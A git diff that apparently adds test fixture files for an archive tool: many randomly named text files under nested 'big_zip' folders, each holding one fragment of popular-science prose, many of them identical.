diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_dljqpxzjmwbtonfovrawt.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_dljqpxzjmwbtonfovrawt.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_dljqpxzjmwbtonfovrawt.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_emaxtbnizwaiicaxcumbbq.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_emaxtbnizwaiicaxcumbbq.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_emaxtbnizwaiicaxcumbbq.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_fvcddhfyrvgtyp.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_fvcddhfyrvgtyp.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_fvcddhfyrvgtyp.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_guyzkxrvpba.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_guyzkxrvpba.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_guyzkxrvpba.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_gzdbumsdulz.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_gzdbumsdulz.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_gzdbumsdulz.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kdpnrxzhjptw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kdpnrxzhjptw.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kdpnrxzhjptw.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kswfeiyecadgbqjjmnsq.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kswfeiyecadgbqjjmnsq.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_kswfeiyecadgbqjjmnsq.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lpkrxufg.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lpkrxufg.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lpkrxufg.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lwguwdllsogfyw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lwguwdllsogfyw.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_lwguwdllsogfyw.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mahdksrphjmmcedasp.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mahdksrphjmmcedasp.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mahdksrphjmmcedasp.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mcuulkyaguyt.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mcuulkyaguyt.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_mcuulkyaguyt.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_nmrlscevdqezxhqxuwpb.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_nmrlscevdqezxhqxuwpb.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_nmrlscevdqezxhqxuwpb.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_pbsnyist.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_pbsnyist.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_pbsnyist.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_ptufpzmvsucjkvckn.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_ptufpzmvsucjkvckn.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_ptufpzmvsucjkvckn.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_romroelzorkf.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_romroelzorkf.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_romroelzorkf.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_tgljhqfy.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_tgljhqfy.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_tgljhqfy.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_xguciyezyxtcwxbbuysk.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_xguciyezyxtcwxbbuysk.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_xguciyezyxtcwxbbuysk.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_zytqsimjlaxsidmiwiqbz.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_zytqsimjlaxsidmiwiqbz.txt
new file mode 100644
index 0000000..5d19213
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/file_zytqsimjlaxsidmiwiqbz.txt
@@ -0,0 +1 @@
+around 1920, found not a hint, not a trace, of water vapor above the clouds of Venus,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/aqfgljjspkeugnksxejl.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/aqfgljjspkeugnksxejl.txt
new file mode 100644
index 0000000..b7d3399
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/aqfgljjspkeugnksxejl.txt
@@ -0,0 +1 @@
+Therefore q 2 is also an even number, and, by the same argument as we just used for p, it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/bpzzedsw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/bpzzedsw.txt
new file mode 100644
index 0000000..63968c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/bpzzedsw.txt
@@ -0,0 +1 @@
+played more than once for the red planet.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/cgnkoowyjtfkeovznrjsuh.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/cgnkoowyjtfkeovznrjsuh.txt
new file mode 100644
index 0000000..a0e4aa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/cgnkoowyjtfkeovznrjsuh.txt
@@ -0,0 +1 @@
+through our brains and arteries . . . It is possible to believe that all the past is but the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/doxvzimjrevbpzrbstdm.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/doxvzimjrevbpzrbstdm.txt
new file mode 100644
index 0000000..d9d32a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/doxvzimjrevbpzrbstdm.txt
@@ -0,0 +1 @@
+to predict its downfall. Chinese court astrologers who made inaccurate predictions were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eeqeescazzqltbdzti.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eeqeescazzqltbdzti.txt
new file mode 100644
index 0000000..bce6e78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eeqeescazzqltbdzti.txt
@@ -0,0 +1 @@
+contributed significantly to the greatness of Athens. But Pericles had political problems. He
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eocodpngmsyptx.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eocodpngmsyptx.txt
new file mode 100644
index 0000000..aca02ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/eocodpngmsyptx.txt
@@ -0,0 +1 @@
+have merely divided the distance by the speed to get the travel time.] But the difference
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_apvwynqogw.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_apvwynqogw.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_apvwynqogw.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bgkrbegnhijfoite.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bgkrbegnhijfoite.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bgkrbegnhijfoite.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_btrsrqnjskcchwfnmgfg.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_btrsrqnjskcchwfnmgfg.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_btrsrqnjskcchwfnmgfg.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bzxcpvmhwldqarphsibuyc.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bzxcpvmhwldqarphsibuyc.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_bzxcpvmhwldqarphsibuyc.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_cdtyrwmindkjuekfejdt.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_cdtyrwmindkjuekfejdt.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_cdtyrwmindkjuekfejdt.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dwwsqfhbnsqobepf.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dwwsqfhbnsqobepf.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dwwsqfhbnsqobepf.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dziaynuqddqnjxdtexmd.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dziaynuqddqnjxdtexmd.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_dziaynuqddqnjxdtexmd.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ecbmwbxgocqwkcivhxtgh.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ecbmwbxgocqwkcivhxtgh.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ecbmwbxgocqwkcivhxtgh.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_eviyadtxqoefihbs.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_eviyadtxqoefihbs.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_eviyadtxqoefihbs.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ipvyjenmrqaopxcub.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ipvyjenmrqaopxcub.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_ipvyjenmrqaopxcub.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_lzplaqxiojzo.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_lzplaqxiojzo.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_lzplaqxiojzo.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_miybeytan.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_miybeytan.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_miybeytan.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_mlnredpzhdacugjxc.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_mlnredpzhdacugjxc.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_mlnredpzhdacugjxc.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_nnoyliatynzr.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_nnoyliatynzr.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_nnoyliatynzr.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_oobvuwgrjg.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_oobvuwgrjg.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_oobvuwgrjg.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_qnunrsbs.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_qnunrsbs.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_qnunrsbs.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_spcjnjiefl.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_spcjnjiefl.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_spcjnjiefl.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_taqjsursemjjpcvonzgajf.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_taqjsursemjjpcvonzgajf.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_taqjsursemjjpcvonzgajf.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_tmnobwokb.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_tmnobwokb.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_tmnobwokb.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_twaorrrqhoawq.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_twaorrrqhoawq.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_twaorrrqhoawq.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_vznlknxupegfije.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_vznlknxupegfije.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_vznlknxupegfije.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_wnxtltgyjeo.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_wnxtltgyjeo.txt
new file mode 100644
index 0000000..5fd2e24
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/file_wnxtltgyjeo.txt
@@ -0,0 +1 @@
+last 10 percent of Earth history. And yet for three billion years there were microorganisms
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/gxtcjzvmreshzi.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/gxtcjzvmreshzi.txt
new file mode 100644
index 0000000..4f89b11
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/gxtcjzvmreshzi.txt
@@ -0,0 +1 @@
+the water screw, which is used in Egypt to this day for the irrigation of cultivated fields. But even he
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/idkifhodrmtbtgdds.txt b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/idkifhodrmtbtgdds.txt
new file mode 100644
index 0000000..3cb16c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cvjxzintzk/folder_itkafybwrz/folder_ybxznonjek/folder_mwgkefbmxs/idkifhodrmtbtgdds.txt
@@ -0,0 +1 @@
+into a black hole. Suppose we had a magic gravity machine - a device with which we could
\ No newline at end of file
